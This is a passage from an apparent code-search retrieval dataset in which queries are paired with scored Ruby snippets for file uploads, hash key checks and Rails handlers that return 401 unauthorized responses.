folder_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n header_params[:'xero-tenant-id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['body'] = body\n form_params['name'] = name\n form_params['filename'] = filename\n form_params['mimeType'] = opts[:'mime_type'] if !opts[:'mime_type'].nil?\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'FileObject' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, \"FilesApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#upload_file_to_folder\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "b98cd35ca621bd70cc4efe8779655fa9",
"score": "0.5980911",
"text": "def add_folder(dir, params = {})\n params.keep_only([:selective, :secret])\n params[:selective_sync] = params[:selective] ? 1 : 0\n params.delete(:selective)\n params[:dir] = dir\n data = send_request 'add_folder', params\n\n return successful?\n end",
"title": ""
},
{
"docid": "202b24dc626afd54f56c5cac0c089051",
"score": "0.5980285",
"text": "def force_upload_dir! dir_name, base_path, scope: false\n s = \"data/outsourcing-paradise-parasite/\"\n s << scope << \"/\" if scope\n s << dir_name\n\n d = \"#{base_path}/data/outsourcing-paradise-parasite\"\n d << \"/\" << scope if scope\n\n upload! s, d, recursive: true\n end",
"title": ""
},
{
"docid": "3dc6b190e5ebd71ad0f4c45fa7eb1cd9",
"score": "0.59741026",
"text": "def folder_params\n params.require(:folder).permit(:folder_path, :child_path, :permission_s_flag, :parent_id)\n end",
"title": ""
},
{
"docid": "1390ba5988c2b3a9af4009f83a31ae55",
"score": "0.59659624",
"text": "def folder_params\n params.require(:folder).permit(:name)\n end",
"title": ""
},
{
"docid": "5b0ca4cccd0b65d238a83ad540b0d9a6",
"score": "0.5965818",
"text": "def create\n @folder = Folder.new(folder_params)\n @folder.files.attach(@files_params) if @files_params.present?\n\n respond_to do |format|\n if @folder.save\n format.html { redirect_to @folder, notice: \"Folder was successfully created.\" }\n format.json { render :show, status: :created, location: @folder }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bff4c727fde40d7ab13fe7abc73cbc84",
"score": "0.59611464",
"text": "def upload(id, file, type)\n field = assert_enabled(id)\n context.assert_equal(:file, field.type)\n field.value = FileUpload.new(file, type)\n end",
"title": ""
},
{
"docid": "457f589782dd14d0823d6e5557b2563d",
"score": "0.5958077",
"text": "def upload_image_file(args = {}) \n post(\"/files.json/captiveportal/images\", args)\nend",
"title": ""
}
] |
11f1945b16f813c4705892813cd44b98 | Checks that specifid +hash+ has a specified +key+ | [
{
"docid": "d79026149f5e52cb6045b030471b0e5f",
"score": "0.7028787",
"text": "def has_key!(hash, key)\n unless hash.has_key?(key)\n raise ArgError, \"#{hash} should has #{key} key\"\n end\n end",
"title": ""
}
] | [
{
"docid": "15a6cc0e4ec9949066cb166ebd0ba2c5",
"score": "0.7141599",
"text": "def has_key!(hash, key)\n unless hash.has_key?(key)\n raise ArgError, \"#{hash} should have '#{key}' key\"\n end\n end",
"title": ""
},
{
"docid": "63787b9a16ae14e8b5ce8a07ff76da8c",
"score": "0.70697796",
"text": "def hash_key_valid?(hash, key)\n key && hash.key?(key) && hash[key].is_a?(String) && hash[key].size > 0\n end",
"title": ""
},
{
"docid": "48542bba1df00ed3701d982afac52929",
"score": "0.70564944",
"text": "def exist_key(hash, key)\n puts hash.has_key?(key)\n end",
"title": ""
},
{
"docid": "5f70b66368e77ecc8e4f980b8c9c0bfd",
"score": "0.7017103",
"text": "def hexists(hash_name, key)\n exists(\"#{hash_name}_#{key}\")\n end",
"title": ""
},
{
"docid": "4f50970a0a0cf48b4817bc01c8aec8e9",
"score": "0.69689715",
"text": "def methodKeyExistOnTheHash\n\t\tputs \"insert the key to verified\"\n\t\tkeyInspected = gets.chomp\n\t\th.has_key?(\"keyInspected\")\n\tend",
"title": ""
},
{
"docid": "39ccecb03925e7a19788d24660527242",
"score": "0.6967773",
"text": "def check(hash)\n #code\n end",
"title": ""
},
{
"docid": "214e4c5eb32150a6424ab23ef427a0e3",
"score": "0.6958091",
"text": "def has_key!(hash, key)\n unless hash.has_key?(key)\n raise ArgumentError, \"#{hash} should has #{key} key\"\n end\n end",
"title": ""
},
{
"docid": "a702a959d5f262c62f66e28cd2189e4f",
"score": "0.69342816",
"text": "def checkHashKey(params)\n return (Digest::SHA1.hexdigest KEY + params['date'] + params['time'] + params['battery']).downcase == params['hashkey'].downcase ? true : false\nend",
"title": ""
},
{
"docid": "d1f39d037e9cba22a42828cf348c0e49",
"score": "0.6823719",
"text": "def has_key?(key)\n\t\t\treturn real_hash.has_key?(key)\n\t\tend",
"title": ""
},
{
"docid": "4721ca1f42fd08b7cd5d92fad766bfc1",
"score": "0.6818047",
"text": "def matches_hash?(hash_to_check)\n hash_to_check == self.file_hash\n end",
"title": ""
},
{
"docid": "16e856c9d855d2c973e91602c7601f0a",
"score": "0.6814332",
"text": "def key_in_dict(key, hash)\n\tkeys = hash.keys\n\tif keys.include? key\n\t\ttrue\n\telse\n\t\tfalse\n\tend\nend",
"title": ""
},
{
"docid": "c1cdd54695ab7541dcf2daa2e61ef494",
"score": "0.67742455",
"text": "def has_key?(key)\n @hash.has_key?(key)\n end",
"title": ""
},
{
"docid": "cc4ead79959e5e05fb5826daf0e68dcd",
"score": "0.6761941",
"text": "def key?(key)\n @hash.key?(key)\n end",
"title": ""
},
{
"docid": "60a67fed3d38101e66450a9c97d5d24d",
"score": "0.6761282",
"text": "def has_key(key); end",
"title": ""
},
{
"docid": "5ecd2113da593917bd0cf73103b1bc50",
"score": "0.67027605",
"text": "def validate hash\n hash.each do |key, value|\n send(key).should == value\n end\n end",
"title": ""
},
{
"docid": "65b5764dc1cedb3bd9bd739f7b80ad99",
"score": "0.6700224",
"text": "def has_hash_key?(key)\n self.each do |entity|\n return true if entity.has_key? key\n end\n return false\n end",
"title": ""
},
{
"docid": "d96ff5f0411c8ec6e18d3ea880271788",
"score": "0.66929716",
"text": "def check_hash_contains(key, hash)\n unless hash.include?(key)\n msg = \"Media type '#{key}' is not in list of valid media types '#{hash}'.\"\n raise ArgumentError, msg\n end\n end",
"title": ""
},
{
"docid": "dcf7859efb6817d16cf32f8811a7cca1",
"score": "0.6654333",
"text": "def key?(key, h_key)\n with { |redis| redis.hexists(cache_key(key), h_key) }\n end",
"title": ""
},
{
"docid": "b14fd14c05286910ef9f4c18456d0c26",
"score": "0.66362",
"text": "def contains(key)\r\n if @hash.include?(key)\r\n return true\r\n end\r\n return false\r\n end",
"title": ""
},
{
"docid": "2abde22c27d1b356fcc20d6fbc101b7d",
"score": "0.66189927",
"text": "def hash?(key)\n redis.type(_key(key)) == \"hash\"\n end",
"title": ""
},
{
"docid": "0693fb54a927015920bacd64aed81d3c",
"score": "0.65969133",
"text": "def match?(key, key_hash)\n key.equal?(self.key) or (self.key_hash == key_hash and key.eql? self.key)\n end",
"title": ""
},
{
"docid": "c5546ae33174adc28af59e88704a73ef",
"score": "0.6585185",
"text": "def exist?(key)\n @hash.include?(key)\n end",
"title": ""
},
{
"docid": "706ad29f7d586295b70ab8a3dd056d55",
"score": "0.6574036",
"text": "def contains(key)\n @hash[key] || false\n end",
"title": ""
},
{
"docid": "378d4728ef6d5e88fa030979cf754c40",
"score": "0.65632856",
"text": "def valid_hash?(h); end",
"title": ""
},
{
"docid": "08dbd7aeb6d2e3cb052f079cd51a8ab9",
"score": "0.65292656",
"text": "def exist?(key)\n @hash.include?(key)\n end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6525247",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6525247",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6525247",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6525247",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6525247",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "b7a213ad8f771c28372148bcf0d87f14",
"score": "0.6525247",
"text": "def has_key?(key); end",
"title": ""
},
{
"docid": "d6d86ed8e6b8c93e2ac8a04a2d95f29c",
"score": "0.65235496",
"text": "def has_hash_value?(key)\n self.each do |entity|\n entity.each_pair{|hash_key, value| return true if value == key}\n end\n return false\n end",
"title": ""
},
{
"docid": "d6d86ed8e6b8c93e2ac8a04a2d95f29c",
"score": "0.65235496",
"text": "def has_hash_value?(key)\n self.each do |entity|\n entity.each_pair{|hash_key, value| return true if value == key}\n end\n return false\n end",
"title": ""
},
{
"docid": "e3e84859fb5a13a171edc698195544b0",
"score": "0.6519512",
"text": "def hash_value_exist?(key, field)\n @redis.hexists key, field\n end",
"title": ""
},
{
"docid": "f17f59ab44d4b8896c6b19f0fada8558",
"score": "0.65013903",
"text": "def check_hash(calculated_hash, stored_hash)\r\n return false if stored_hash != calculated_hash\r\n\r\n true\r\n end",
"title": ""
},
{
"docid": "0b54818750f6e049ebf4589fc80ae7e2",
"score": "0.65009004",
"text": "def has_key?(key)\n field, hash = hash_for_field(key.to_s, true)\n hash.has_key?(field)\n end",
"title": ""
},
{
"docid": "694d5348ecabc4449ad1665cb3e0ff1f",
"score": "0.6491523",
"text": "def include? key\n @hash.include? key.to_sym\n end",
"title": ""
},
{
"docid": "5b7e17baf2422016cd7ad6e15d8d1334",
"score": "0.6490017",
"text": "def hasKey(key)\n hash = Hash['a', 'abc', 'b', 'def', 'c', 'ghi']\n if hash.has_key?(key)\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "85bd56a23cd00de3a7bbaa0382de3c23",
"score": "0.64847505",
"text": "def hexists(key, field)\n\t\tget_h(key).has_key?(field)\n\tend",
"title": ""
},
{
"docid": "7a36ed45d5470395b0b68f8d7fd74e83",
"score": "0.6430756",
"text": "def hasKey(key, exp)\n hash = Hash['a', 'abc', 'b', 'def', 'c', 'ghi']\n test( hash.has_key?(key), exp, 'hasKey')\n end",
"title": ""
},
{
"docid": "9882450ef2c750fc99f95ef895b27b40",
"score": "0.64124906",
"text": "def has?(key); end",
"title": ""
},
{
"docid": "ec3418e2b7dc160b2e70910d31fe617a",
"score": "0.6351565",
"text": "def with_hash_key?\n key_type?('hash')\n end",
"title": ""
},
{
"docid": "ce0e8acaa99f7e255bb4639c48230546",
"score": "0.6329973",
"text": "def validate_attr_in_obj(key, hash)\n raise \"#{key} not stored in #{hash}\" until hash.key?(key)\n end",
"title": ""
},
{
"docid": "17227a21cb5025e5b821ef0b9bf4f27a",
"score": "0.6329202",
"text": "def has_key?(key)\n search_by(:key, key)\n end",
"title": ""
},
{
"docid": "750212104156d04ac72bda120c0a09b3",
"score": "0.6327567",
"text": "def check_key_nil(hash, key)\n return false unless hash.key? key\n !hash[key].nil?\n end",
"title": ""
},
{
"docid": "fee7af074160d05e1b3984292a81c0f4",
"score": "0.6327181",
"text": "def matching_hash?\n hash == generated_hash\n end",
"title": ""
},
{
"docid": "022111ef4002526485832106679e1010",
"score": "0.6326031",
"text": "def contains(key)\n @h[key] ? true : false\n end",
"title": ""
},
{
"docid": "2518f45ebdd756680ea814a834256a35",
"score": "0.6304774",
"text": "def key(key)\n hash = Hash['a', 'abc', 'b', 'def', 'c', 'ghi']\n if hash.key?(key)\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "4467216420797a7053362bdea493e1f2",
"score": "0.62926745",
"text": "def has_key?(key)\n if :hash == self.type\n self.children.any? { |pair_node| pair_node.key.to_value == key }\n else\n raise Synvert::Core::MethodNotSupported.new \"has_key? is not handled for #{self.debug_info}\"\n end\n end",
"title": ""
},
{
"docid": "bab6394923bdb9389fe43ff2a839ad76",
"score": "0.62759227",
"text": "def find_key\n print \"\\nFind key exist: \"\n key = gets.chomp\n p hash.key?(key)\n end",
"title": ""
},
{
"docid": "168268d6a47ac4307dd2c7d52acb0963",
"score": "0.6274229",
"text": "def check_hash(entry, node_id, node_hash)\n check_entry entry\n unless @verified[entry]\n raise UnverifiedEntry, \"Entry #{entry} is not verified\"\n end\n unless @node_ids[entry] == node_id and @node_hashes[entry] == node_hash\n raise IncorrectNodeHash, \"Incorrect node_id or node_hash\"\n end\n self\n end",
"title": ""
},
{
"docid": "b3c8dae6fb94493b190fd27cfa787969",
"score": "0.62734514",
"text": "def exists?(hash)\n find_by(hash).present?\n end",
"title": ""
},
{
"docid": "99eb3a24c314fe8c678dfec2e1e847e8",
"score": "0.62242734",
"text": "def _match_hash(hash)\n # Allow calling private methods, as match methods are generally private\n hash.all?{|k,v| send(\"match_#{k}\", v)}\n end",
"title": ""
},
{
"docid": "99eb3a24c314fe8c678dfec2e1e847e8",
"score": "0.62242734",
"text": "def _match_hash(hash)\n # Allow calling private methods, as match methods are generally private\n hash.all?{|k,v| send(\"match_#{k}\", v)}\n end",
"title": ""
},
{
"docid": "b656d2c8be17ffc3a778a48bef81350d",
"score": "0.6216887",
"text": "def keyexists(key)\n key_exists?(key)\n end",
"title": ""
},
{
"docid": "4c6528eda2175cb11c9fdfe22760c7a9",
"score": "0.62161475",
"text": "def exists_in_h(hash, key)\n if hash.has_key? key\n return hash[key]\n else\n return \" \"\n end\n end",
"title": ""
},
{
"docid": "9039276278e126b31eb51958aa17e8f3",
"score": "0.6179707",
"text": "def exists(key)\n raise('Catastrophic failure for exists')\n end",
"title": ""
},
{
"docid": "6c3fb753ddcbab5b895d1dfc9c20c74d",
"score": "0.61769724",
"text": "def has_match? h, re, **options\n\n\t\tXqsr3::HashUtilities::KeyMatching.do_has_match_ h, re, **options\n\tend",
"title": ""
},
{
"docid": "f64a65b96a4698c5937303a0645843d0",
"score": "0.6171163",
"text": "def test_check_hash_fails\n sim = VerifierSimulator.new\n assert_equal false, sim.check_hash('2d7f', '2d7f')\n end",
"title": ""
},
{
"docid": "852698f1c8a659fe6e15097ddf5703ce",
"score": "0.61590594",
"text": "def exist?(key)\n not ar_klazz.where([\"exist(#{hstore_column}, ?)\", key]).empty?\n end",
"title": ""
},
{
"docid": "036a6db2f6bb6a901bc2dc41a9ca14dc",
"score": "0.6156376",
"text": "def hash_verify( hash, file, opts = {} )\n opts = opts.dup\n mth = ( opts.delete(:method) || guess_hash_method( hash ) ) or\n raise( \"Hash method unspecified and hash length \" +\n \"#{hash.length} is non-standard\" )\n\n [ :accept, :pipefail, :error ].each { |k| opts.delete( k ) }\n\n sh( <<-SH, opts )\n echo \"#{hash} #{file}\" | /usr/bin/#{mth}sum -c -\n SH\n end",
"title": ""
},
{
"docid": "31718a8bfd9db7ee1c6e401f8b7ed07e",
"score": "0.6155848",
"text": "def hash_value_exist?(key, field)\n @driver.field_exists? key, field\n end",
"title": ""
},
{
"docid": "1f3fc1c39684fd445f35064b6afad874",
"score": "0.6155105",
"text": "def check_pure_hash(gk, h)\n h.each do |k, v|\n if v.is_a?(Hash) && v.present?\n check_pure_hash(k, v)\n end\n\n begin\n raise \"not pure hash\" if h[:not_exists_key] != nil\n rescue\n raise \"problem with key #{gk}\"\n end\n end\nend",
"title": ""
},
{
"docid": "06fe3d6d078362c656a9942bc3b6fe3f",
"score": "0.6135537",
"text": "def hash_contains?(hash, keys)\n req_keys = keys.inject({}) { |h, r| h.merge(r.gsub(/^\\*/, '') => (r =~ /^\\*/) ? 1 : 0) }\n ret = {}\n hash.each do |k, v|\n return nil unless req_keys[k]\n req_keys[k] = 0\n ret.merge!(k => v)\n end\n # return nil if there is a required key not found\n unless req_keys.values.find { |x| x == 1 }\n ret\n end\n end",
"title": ""
},
{
"docid": "3e364ca61cf5e3d64a81756606fb52f9",
"score": "0.61347836",
"text": "def key_ok?(h)\n @table.has_key?(h) && @table[h].key == h\n end",
"title": ""
},
{
"docid": "2959e6cb1bc194b510aebcbc45e85bde",
"score": "0.6131201",
"text": "def exist? ; ! @hash.nil? ; end",
"title": ""
},
{
"docid": "457062d4d4bee06f010e0e8ada0d3ffb",
"score": "0.61269605",
"text": "def contains(key)\n \n end",
"title": ""
},
{
"docid": "9083480c05750b9ca7fa7ef4e3418fcd",
"score": "0.61153245",
"text": "def has_key?(*args); end",
"title": ""
},
{
"docid": "c88e56863fc7be4ae876bad1458ad3b6",
"score": "0.6110158",
"text": "def check_hash(file, hash)\n if !hash.nil? && File.file?(file)\n computed_h = Digest::SHA256.file(file)\n true if hash.casecmp(computed_h.hexdigest).zero?\n else\n false\n end\n end",
"title": ""
},
{
"docid": "423f1f2320aac62dc34b607c888d5ec6",
"score": "0.610567",
"text": "def test_contains?\r\n hashtable = HashTable.new(5)\r\n int = IntHash.new(6)\r\n str = StringHash.new(\"Richard\")\r\n key_val = KeyValueHash.new(str, int)\r\n\r\n hashtable.add(int)\r\n hashtable.add(str)\r\n hashtable.add(key_val)\r\n\r\n assert_equal(hashtable.contains?(key_val), true)\r\n end",
"title": ""
},
{
"docid": "d28c53c5f3de9c45f29953a8fd18d83a",
"score": "0.60980684",
"text": "def has_keys?(hash)\n # checks if the hash has the given list of labels\n @@keys.inject(true) { |total, key| total &= hash.include? key }\n end",
"title": ""
},
{
"docid": "4b02d17fbbeffdcc7692541a3814b4b6",
"score": "0.6084914",
"text": "def contains(key)\n end",
"title": ""
},
{
"docid": "bffaa513620385fdd9b942df181fbe0e",
"score": "0.6082896",
"text": "def hash_value_for_key(hsh, key)\n if hsh.has_key?(key)\n matched = hsh[key] || ''\n else\n hsh.keys.each do |sub_key|\n sub_key_value = hsh[sub_key]\n matched = hash_value_for_key(sub_key_value, key) if sub_key_value.is_a?(Hash)\n break if matched\n end\n end\n matched\n end",
"title": ""
},
{
"docid": "f745e044e3fbb0213f7ed6c4c26c7c5a",
"score": "0.6080893",
"text": "def guard_hash(hsh, keys)\n self.class.guard_hash(hsh, keys)\n end",
"title": ""
},
{
"docid": "d11282911e9fdf08a2a8ff746f393da5",
"score": "0.60800433",
"text": "def exist?(key); end",
"title": ""
},
{
"docid": "d11282911e9fdf08a2a8ff746f393da5",
"score": "0.60800433",
"text": "def exist?(key); end",
"title": ""
},
{
"docid": "27c8babfc99659fd2287f43d4a177960",
"score": "0.6065682",
"text": "def key?(key)\n return coerce_bool(self.connection.hexists(@key, key))\n end",
"title": ""
},
{
"docid": "ad844a966a1d6d041f045addb839e792",
"score": "0.60626733",
"text": "def has_key?(key)\n field, res, depth = hash_for_field(key.to_s, true)\n case res\n when Hash \n res.has_key?(field)\n when Array\n !res[key.split('.')[depth].to_i].nil?\n end\n end",
"title": ""
},
{
"docid": "0ca3b99ef8b69bf9229db868b4e343c2",
"score": "0.60607827",
"text": "def search_hash(search, hash); end",
"title": ""
},
{
"docid": "0ca3b99ef8b69bf9229db868b4e343c2",
"score": "0.60607827",
"text": "def search_hash(search, hash); end",
"title": ""
},
{
"docid": "917aadf71fe0fe954f3571080b674c13",
"score": "0.6060544",
"text": "def reg_hash_exists?(hash)\r\n self.accounts.values.one?{|account| !account.organisation && account.reg_hash == hash}\r\n end",
"title": ""
},
{
"docid": "b0b7091a4087053cf74ec53d9db8d3a9",
"score": "0.6060473",
"text": "def validate_hash_keys(record, hash, attribute_name, expected_keys)\n validate_type(record, hash, attribute_name, Hash)\n\n if hash.is_a? Hash\n expected_keys.each do |key|\n if not hash.keys.include? key\n record.errors[:base] << \"#{attribute_name} attribute must contain the key #{key}\"\n end\n end\n end\n\n\n end",
"title": ""
},
{
"docid": "ab825ab31d5a8cdd9a3ddc687a010985",
"score": "0.60302746",
"text": "def exists?(hash)\n redis.exists?(hash)\n end",
"title": ""
},
{
"docid": "e568cd72fdcd8d1e2b843ab5434d4013",
"score": "0.60218203",
"text": "def check_key(response, data, key)\n data[key.to_s].should_not be_nil\n data[key.to_s].to_s.length.should > 0\n end",
"title": ""
},
{
"docid": "5ac53c22e076132265d0a8689e51e2e0",
"score": "0.60134387",
"text": "def check_key(key)\n if ((key.key_tag == @key_tag) && (key.algorithm == @algorithm))\n\n digestbin = digest_key(key)\n if (@digestbin == digestbin)\n if (!key.zone_key?)\n else\n return true\n end\n else\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "886c600a5203da2d8f141ac7508710cb",
"score": "0.5998511",
"text": "def check_hash(hash, description)\n # check for mandatory keys\n for key in description.keys\n case description[key]\n when :mandatory\n error \"Missing mandatory key '#{key}'\" if not hash.has_key?(key)\n when :optional\n else\n error \"Unknown symbol '#{description[key]}'\"\n end\n end\n # look for unknown keys in hash\n for key in hash.keys\n error \"Unknown key '#{key}'\" if not description.keys.member?(key)\n end\n end",
"title": ""
},
{
"docid": "f7716468b70579f0af7c6df8fa6701fa",
"score": "0.59964097",
"text": "def valid_hash?(h)\n self.class.valid_hash?(h)\n end",
"title": ""
},
{
"docid": "af984c86e7114d5fe8dd19142d11e74d",
"score": "0.5990584",
"text": "def test_check_hash_pass\n sim = VerifierSimulator.new\n assert_equal true, sim.check_hash('1c12', '1c24')\n end",
"title": ""
},
{
"docid": "b69fa570172c70e89c159bfe4e651e20",
"score": "0.59866846",
"text": "def include?(key)\n flag = true\n (1..@k).each{|n|\n d = Digest::SHA1.hexdigest(n.to_s+key).hex\n h = d.modulo(@size)\n if @field[h] != 1\n flag = false\n end\n }\n return flag\n end",
"title": ""
},
{
"docid": "cff12ad3c817c49077fc0f196fec9829",
"score": "0.59747654",
"text": "def vash_valid_key?(key); true if Integer(key) rescue false; end",
"title": ""
},
{
"docid": "59b053d755bec0b238a9d5b7a3d2824c",
"score": "0.597183",
"text": "def contains?(key)\n @key_data.has_key?(key)\n end",
"title": ""
},
{
"docid": "7c04084101add9f71b9efce25a2d6428",
"score": "0.59706765",
"text": "def reg_hash_exists?(hash)\n @accounts.values.one?{|account| !account.organisation && account.reg_hash == hash}\n end",
"title": ""
},
{
"docid": "75241a1fa9bd9b6c7284665998de67a8",
"score": "0.5967832",
"text": "def include(key)\n hash = Hash['a', 'abc', 'b', 'def', 'c', 'ghi']\n if hash.include?(key)\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "18e1a53029f96ae01a21a2dd931ebf03",
"score": "0.59622264",
"text": "def check_hash(hash)\n raise ArgumentError, \"Param was a '#{hash.class}'. It must be a 'Hash'. '#{hash}'.\" unless hash.is_a?(Hash)\n end",
"title": ""
},
{
"docid": "0c137f18584b7aee4d8f43f89aa38377",
"score": "0.5955111",
"text": "def key?(key)\n !(head && head.commit.tree / key).nil?\n end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.5949807",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.5949807",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.5949807",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.5949807",
"text": "def key?(key); end",
"title": ""
},
{
"docid": "08f33ccaf2c82010a54a641738b7d1d5",
"score": "0.5949807",
"text": "def key?(key); end",
"title": ""
}
] |
a3ee8f3903999fc114cbfc535cdd2096 | Add this method to before_action to authenticate access with 401 response code | [
{
"docid": "7e6a4e9237db8b0d24f2223a6cb06d65",
"score": "0.72331107",
"text": "def authenticate_with_response\n render nothing: true, status: 401 if current_user.nil?\n end",
"title": ""
}
] | [
{
"docid": "79606c3c9d541d52e7edb5686001ef9b",
"score": "0.75400543",
"text": "def unauthorized\n render \"errors/401\", :status => 401\n\tend",
"title": ""
},
{
"docid": "0ef56a9d6e428eca2c92909597aa6d6b",
"score": "0.73379165",
"text": "def access_denied!\n render partial: 'errors/401', status: 401 && return\n end",
"title": ""
},
{
"docid": "a8d7586607fe5315ee82d22e3a4ccd80",
"score": "0.73325276",
"text": "def unauthorized\n render json: {error: 'Unauthorized'}, status: 401\n end",
"title": ""
},
{
"docid": "f291550dbc38d93a85ce36effc81b68c",
"score": "0.7327582",
"text": "def authorization_denied\n head :unauthorized\n end",
"title": ""
},
{
"docid": "44d4b72d3a58df723d7843847a7c66e6",
"score": "0.73161674",
"text": "def authenticate_request\n render :json => { :error => :unauthorized }, :status => :unauthorized unless current_user\n end",
"title": ""
},
{
"docid": "ee88ae6cb2c35769b489c98ddb105ba7",
"score": "0.72949994",
"text": "def access_denied\n render status: 401, text: \"nice try\"\n end",
"title": ""
},
{
"docid": "05418fd6bd02355c8178bc55d0e969d3",
"score": "0.72921276",
"text": "def render_unauthorized\n logger.debug \" *** UNAUTHORIZED REQUEST: '#{request.env['HTTP_AUTHORIZATION']}' ***\"\n self.headers['WWW-Authenticate'] = 'Token realm=\"Application\"'\n render json: {error: \"Bad credentials\"}, status: 401\n end",
"title": ""
},
{
"docid": "3af3389bab7f85e110ce586f17ad4405",
"score": "0.7260659",
"text": "def access_denied\n head 401\n end",
"title": ""
},
{
"docid": "0bb267b5726175d4c374ec2f201f5c78",
"score": "0.7207522",
"text": "def not_authorized\r\n render :file => 'public/401.html', :status => 401, :layout => false\r\n end",
"title": ""
},
{
"docid": "58aa75121c0343595b073daacba75e56",
"score": "0.71849173",
"text": "def deny_access\n @status = 401\n respond_to do |format|\n format.html { render template: \"errors/401\", status: @status, layout: \"errors\" }\n format.all { render nothing: true, status: @status }\n end\n end",
"title": ""
},
{
"docid": "94429d1ad94ffd79b3eba7bf52edc6b1",
"score": "0.7183134",
"text": "def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"title": ""
},
{
"docid": "94429d1ad94ffd79b3eba7bf52edc6b1",
"score": "0.7183134",
"text": "def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"title": ""
},
{
"docid": "94429d1ad94ffd79b3eba7bf52edc6b1",
"score": "0.7183134",
"text": "def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"title": ""
},
{
"docid": "94429d1ad94ffd79b3eba7bf52edc6b1",
"score": "0.7183134",
"text": "def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"title": ""
},
{
"docid": "94429d1ad94ffd79b3eba7bf52edc6b1",
"score": "0.7183134",
"text": "def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"title": ""
},
{
"docid": "94429d1ad94ffd79b3eba7bf52edc6b1",
"score": "0.7183134",
"text": "def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"title": ""
},
{
"docid": "94429d1ad94ffd79b3eba7bf52edc6b1",
"score": "0.7183134",
"text": "def access_denied\n render :json => %Q~{\"errors\": [\"Please login to consume the REST API\"]}~, :status => 401\n end",
"title": ""
},
{
"docid": "45f53e806600f6bfa0eb512c389d24f6",
"score": "0.71783906",
"text": "def authenticate\n render json: { error: 'Access Denied' }, status: 401 unless current_user\n end",
"title": ""
},
{
"docid": "7b6afb1d972f556276dc1c670f9d60c3",
"score": "0.7170611",
"text": "def unauthorized\n respond_to do |format|\n format.html do\n if admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n redirect_to login_path and return\n elsif current_user || admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n render 'shared/unauthorized'\n else\n store_location\n redirect_to login_path and return\n end\n end\n format.xml do\n request_http_basic_authentication 'Web Password'\n end\n format.json do\n render :text => \"Not Authorized \\n\", :status => 401\n end\n end\n end",
"title": ""
},
{
"docid": "58c1fe1ddbe3dd4ccf23ddac9f9ec7ab",
"score": "0.712359",
"text": "def authenticate_user!\n render :json => { error: \"please log in\" }, :status => 401 unless current_user.id\n end",
"title": ""
},
{
"docid": "56a7e6fd895c75a4eb4bc3862edcc34c",
"score": "0.7094123",
"text": "def handle_unverified_request\n reset_session\n render :nothing => true, :status => 401\n end",
"title": ""
},
{
"docid": "e4d861193e49eee7964546304e24540d",
"score": "0.7073876",
"text": "def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end",
"title": ""
},
{
"docid": "559eb1e1cb3f85e9d548cd62e5cdc323",
"score": "0.7043101",
"text": "def handle_http_401(message, metric = nil, view = :unauthorized)\n logger.warn \"#{message}\\n\\t#{request.method} #{request.original_url}\"\n Metric.register(metric || Metric::METRIC_HTTP_401)\n render view, status: :unauthorized\n end",
"title": ""
},
{
"docid": "d18e13f34032b4c5b56403d8cbabc47c",
"score": "0.7039976",
